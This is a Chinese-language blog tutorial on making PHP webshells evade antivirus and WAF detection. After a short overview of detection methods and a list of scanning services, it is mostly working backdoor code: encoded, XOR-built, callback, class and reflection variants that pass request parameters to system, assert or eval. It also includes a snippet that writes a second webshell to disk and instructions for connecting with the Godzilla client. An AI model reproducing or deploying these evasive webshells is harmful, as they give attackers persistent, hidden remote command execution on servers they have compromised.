网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
webshell免杀思路
PHP免杀原理
webshell免杀测试:
webshell免杀绕过方法:
编码绕过:
可变变量绕过
数组绕过
类绕过
多姿势配合免杀
webshell免杀思路
分析统计内容(传统):可以结合字符黑名单和函数黑名单或者其他特征列表(例如代码片段的Hash特征表),之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。
语义分析(AST):把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。
机器学习(AI):这种方法需要大量的样本数据,通过一些AI自动学习模型,总结归类Webshell的特征库,最终去检测Webshell。
动态监控(沙箱):采用RASP方式,一旦检测到有对应脚本运行,就去监控(Hook)里边一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本十分高昂。PHP免杀原理
通过PHP语言的动态特性,灵活利用各种PHP函数和特性,混淆和变形中间两部分内容,从而达到免杀
注意点:
eval() 高危函数
eval() 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用可变函数:通过一个变量获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行
人话:eval() 函数不能通过拼接、混淆来进行执行,只能通过明文直接写入
assert() 高危函数
在PHP7 中, assert () 也不再是函数了,变成了一个语言结构(类似于 eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点,这个感兴趣可以自行了解即可所以在WebShell免杀这块,我还是更喜欢用 system() 高危函数,以下很多案例都是使用 system() 来最终执行的
webshell免杀测试:
渊龙Sec团队导航(上面啥都有): https://dh.aabyss.cn/
VirusTotal: https://www.virustotal.com/gui/home/upload
河马WebShell查杀: https://n.shellpub.com/
微步在线云沙箱: https://s.threatbook.com/
百度WEBDIR+: https://scanner.baidu.com/
长亭牧云查杀: https://stack.chaitin.com/security-challenge/webshell/index
阿里伏魔引擎: https://xz.aliyun.com/zues
D盾: http://www.d99net.net/
网站安全狗: http://free.safedog.cn/website_safedog.htmlwebshell免杀绕过方法:
编码绕过:
(可以绕过waf检测、早期免杀方法)
可以考虑一些比较冷门的编码方式,或者写一个类似于凯撒密码的加密函数,来对WAF进行ByPass
Base64编码<?php$f = base64_decode("YX____Nz__ZX__J0"); //解密后为assert高危函数$f($_POST[aabyss]); //assert($_POST[aabyss]);?>
ASCII编码
<?php//ASCII编码解密后为assert高危函数$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);$f($_POST['aabyss']); //assert($_POST['aabyss']);?>
ROT13编码
$f = str_rot13('flfgrz'); //解密后为system高危函数$f($_POST['aabyss']); //system($_POST['aabyss']);
Gzip压缩加密(畸形免杀)
https://blog.zgsec.cn/index.php/archives/147/
字符串混淆处理绕过:
将system高危函数内容的拼接、混淆以及变换,来绕过waf检测function confusion($a){$s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];$tmp = "";while ($a>10) {$tmp .= $s[$a%10];$a = $a/10;}return $tmp.$s[$a];}$f = confusion(976534); //sysTem(高危函数)$f($_POST['aabyss']); //sysTem($_POST['aabyss']);
自定义函数+文件名混淆
先建一个PHP名字为 976534.php,然后下面的代码:function confusion($a){$s = ['a','t','s', 'y', 'm', 'e', '/'];$tmp = "";while ($a>10) {$tmp .= $s[$a%10];$a = $a/10;}return $tmp.$s[$a];}$f = confusion(intval(substr(__FILE__, -10, 6))); //sysTem(高危函数)//__FILE__为976534.php//substr(__FILE__, -10, 6)即从文件名中提取出976534//confusion(intval(976534))即输出了sysTem(高危函数),拼接即可$f($_POST['aabyss']); //sysTem($_POST['aabyss']);
首先先读取文件名,从 976534.php 文件名中提取出 976534 ,然后带入函数中就成功返还 sysTem 高危函数了,可以配合其他姿势一起使用,达成免杀效果
特殊字符串
主要是通过一些特殊的字符串,来干扰到杀软的正则判断并执行恶意代码(各种回车、换行、null和空白字符等)$f = 'hello';$$z = $_POST['aabyss'];eval(``.$hello);
生成新文件绕过
PHP本身没法执行命令,但是运行后可以在同目录混淆写入一个WebShell,也是可以进行免杀的$hahaha = strtr("abatme","me","em"); //$hahaha = abatem$wahaha = strtr($hahaha,"ab","sy"); //$wahaha = system(高危函数)$gogogo = strtr('echo "<?php evqrw$_yKST[AABYSS])?>" > ./out.php',"qrwxyK","al(_PO");//$gogogo = 'echo "<?php eval(_POST[AABYSS])?>" > ./out.php'$wahaha($gogogo); //将一句话木马内容写入同目录下的out.php中
回调函数绕过
通过回调函数,来执行对应的命令call_user_func_array()//ASCII编码解密后为assert高危函数$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);call_user_func_array($f, array($_POST['aabyss']));array_map()function fun() {//ASCII编码解密后为assert高危函数$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);return ''.$f;}$user = fun(); //拿到assert高危函数$pass =array($_POST['aabyss']);array_map($user,$user = $pass );
回调函数的免杀早早就被WAF盯上了,像这样单独使用一般都没办法免杀,所以一般都是配合其他手法使用
可变变量绕过
简单可变变量
什么叫可变变量呢?看一下具体例子就明白了:$f = 'hello'; //变量名为f,变量值为Hello$$f = 'AabyssZG'; //变量名为Hello(也就是$f的值),值为AabyssZGecho $hello; //输出AabyssZG
那要怎么利用这个特性呢?如下:
$f ='hello';$$f = $_POST['aabyss'];eval($hello); //eval($_POST['aabyss']);
数组+变量引用混淆
上文提到,可以通过 compact 创建一个包含变量名和它们的值的数组那就可以用 compact 创建一个包含恶意函数和内容的数组,再引用出来拼接成语句即可
$z = "system"; //配合其他姿势,将system高危函数传给z$zhixin = &$z;$event = 'hahaha';$result = compact("event", "zhixin"); //通过compact创建数组$z = 'wahaha'; //我将变量z进行修改为'wahaha'$f = $result['zhixin'];$f($_POST['aabyss']); //system($_POST['aabyss']);
根据简单可变变量学到的内容,可以发现传入数组后,函数内容被替换是不会影响数组中的内容的
于是先用变量 zhixin 来引用变量 z 然后通过 compact 创建为数组,接下来再将变量 z 附上新的内容 wahaha ,传统的WAF追踪变量的内容时候,就会让查杀引擎误以为数组中的值不是 system 而是 wahaha ,从而达到WebShell免杀
数组绕过
先将高危函数部分存储在数组中,等到时机成熟后提取出来进行拼接
一维数组$f = substr_replace("systxx","em",4); //system(高危函数)$z = array($array = array('a'=>$f($_GET['aabyss'])));var_dump($z);
数组内容如下:
Array ( [0] => Array ( [a] => assert($_GET['aabyss']) ) )
二维数组
$f = substr_replace("systxx","em",4); //system(高危函数)$z = array($arrayName = ($arrayName = ($arrayName = array('a' => $f($_POST['aabyss'])))));var_dump($z);
类绕过
通过自定义类或者使用已知的类,将恶意代码放入对应的类中进行执行
单类class Test{public $_1='';function __destruct(){system("$this->a");}}$_2 = new Test;$_2->$_1 = $_POST['aabyss'];
多类
class Test1{public $b ='';function post(){return $_POST['aabyss'];}}class Test2 extends Test1{public $code = null;function __construct(){$code = parent::post();system($code);}}$fff = new Test2;$zzz = new Test1;
嵌套运算绕过
主要通过各种嵌套、异或以及运算来拼装出来想要的函数,再利用PHP允许动态函数执行的特点,拼接处高危函数名,如 system ,然后动态执行恶意代码之即可
异或
嵌套运算
传参绕过
将恶意代码不写入文件,而是通过传参传入,所以这个比较难以被常规WAF所识别
Base64传参
$decrpt = $_REQUEST['a'];$decrps = $_REQUEST['b'];$arrs = explode("|", $decrpt)[1];$arrs = explode("|", base64_decode($arrs));$arrt = explode("|", $decrps)[1];$arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);
传参内容:
a=c3lzdGVt //system的base64加密 b=d2hvYW1p //whoami的base64加密
也可以尝试使用其他编码或者加密方式进行传参
函数构造传参
可以用一些定义函数的函数来进行传参绕过,比如使用 register_tick_function() 这个函数register_tick_function ( callable $function [, mixed $... ] ) : bool例子如下:$f = $_REQUEST['f'];declare(ticks=1);register_tick_function ($f, $_REQUEST['aabyss']);
自定义函数绕过
通过自定义函数,将恶意代码内容隐藏于自定义函数当中,再进行拼接执行
简单自定义函数
读取已定义函数
读取字符串绕过
重点还是放在高危函数上,通过读取各种东西来获得对应字符串
读取注释
这里用到读取注释的函数ReflectionClass::getDocComment
例子如下:
/** * system($_GET[aabyss]);*/ class User { } $user = new ReflectionClass('User');$comment = $user->getDocComment();$f = substr($comment , 14 , 22);eval($f);
读取数据库
可以通过 file_put_contents 文件写入函数写入一个Sqlite的数据库$datatest = "[文件的base64编码]";
file_put_contents('./要写入的文件名', base64_decode($datatest));
然后通过PHP读取数据库内容提取高危函数,从而达到WebShell免杀效果读取目录
FilesystemIterator 是一个迭代器,可以获取到目标目录下的所有文件信息public FilesystemIterator::next ( void ) : void
可以尝试使用 file_put_contents 写入一个名为 system.aabyss 的空文件,然后遍历目录拿到字符串 system ,成功ByPass
为什么要写入为 system.aabyss 这个文件名呢,因为特殊后缀能让代码快速锁定文件,不至于提取文件名提取到其他文件了多姿势配合免杀
刚开始看这个样例我还是挺惊讶的,仔细分析了一波,发现还是挺简单的,但重在思路
这个样例使用了异或+变换参数的手法,成功规避了正则匹配式,具有实战意义
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);
这时候,就可以执行GET传参:?_=system&__=whoami 来执行whoami命令由8.1讲到PHP中如何异或,我们就先把最前面这部分拆出来看看
<?=~$_='$<>/'^'{{{{';
//即 '$<>/' ^ '{{{{'
//即 "$<>/" 这部分字符串与后面 "{{{{" 这部分字符串异或
所以由我们前面所学的知识,加上自己动手实践一下,可以发现异或结果为 _GET所以整个PHP语句解密后,再将 _ 替换为 a,将 __ 替换为 b,则原PHP转化为:
$_GET['a']($_GET['b'])
当我们给 a 传 system,给 b 传 whoami,原式就会变成这样system('whoami');
既然上面的代码你看懂了,那不妨看一下下面魔改的代码:<?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);
直接用 Godzilla 哥斯拉来连接
XXX/run.php?_=assert
当然这里使用到 assert 高危函数,只能用于 php 在 5.* 的版本,相关姿势读者不妨自行拓展一下哈哈~